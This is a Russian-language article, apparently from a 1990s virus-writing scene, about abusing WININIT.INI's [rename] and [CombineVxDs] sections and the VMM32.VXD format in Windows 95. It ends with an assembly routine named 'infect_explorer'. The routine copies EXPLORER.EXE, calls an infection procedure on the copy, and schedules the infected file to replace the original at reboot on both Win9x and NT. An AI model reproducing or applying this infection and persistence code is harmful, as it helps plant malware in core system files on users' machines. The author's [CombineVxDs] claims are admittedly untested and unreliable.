Перед загрузкой маздая WININIT.EXE обрабатывает WININIT.INI: из секции [rename] считываются соответствующие имена и происходит так называемое "обновление" файлов.
WININIT.INI: [rename] C:\WINDOWS\OLDFILE.EXE=C:\WINDOWS\NEWFILE.EXE
Требуется подобная фича тогда, когда подлежащий обновлению OLDFILE.EXE является, например, открытым или исполняемым в настоящий момент. (типа EXPLORER.EXE или KERNEL32.DLL)
Но мало кто знает, что кроме [rename] есть еще более убойная вещь,
называемая [CombineVxDs]. Найдено оно было случайно при инсталляции win95,
и, хотя тестировать такое мне попросту лениво, но это стопроцентно
как-то работает.
Итак, вот что я нашел:
WININIT.INI: [CombineVxDs] C:\WINDOWS\SYSTEM\VMM32\vkd.vxd=C:\WINDOWS\SYSTEM\vmm32.vxd
И действительно, взглянув в WININIT.EXE, я увидел не только rename и CombineVxDs, но и какое-то SetupOptions.
Короче говоря, флаг вам в руки...
1. Обычный VMM32.VXD представляет из себя следующее:
VMM32.VXD: [dos-loader] ~64k формат W4: [таблица указателей на VxD-файлы] ~1k [запакованные VxD-файлы]
2. Распакованный VMM32.VXD представляет из себя вот что:
VMM32.VXD: [dos-loader] те же самые 64k формат W3: [таблица указателей на VxD-файлы] ~2k [распакованные VxD-файлы] (без MZ-хеадеров)
3. Работа с VMM32.VXD осуществляется утилитой DEVLIB.EXE из DDK\BIN.
devlib -u vmm32.vxd -- распаковываем devlib -d vmm32.vxd -- получаем список VxDей (дамп таблицы указателей) devlib -d vmm32.vxd dosmgr -- выдираем dosmgr.vxd (будет без MZ-хеадера)
4. Пример добавления секции [rename] в WININIT.INI:
wininit_ini db 'C:\WINDOWS\WININIT.INI',0 wininit_section db 'rename',0 file_exe db 'C:\WINDOWS\EXPLORER.EXE',0 file_tmp db 'C:\WINDOWS\EXPLORER.TMP',0 infect_explorer: push 0 push file_tmp push file_exe callW CopyFileA lea edx, file_tmp call INFECT_FILE callW GetVersion shl eax, 1 jnc __winNT __win95: push offset wininit_ini push offset file_tmp push offset file_exe push offset wininit_section callW WritePrivateProfileStringA jmp __exit __winNT: push 4 ; DELAY_UNTIL_REBOOT push 0 push offset file_exe callW MoveFileExA push 4 ; DELAY_UNTIL_REBOOT push offset file_exe push offset file_tmp call MoveFileExA __exit: ret ; infect_explorer
* * *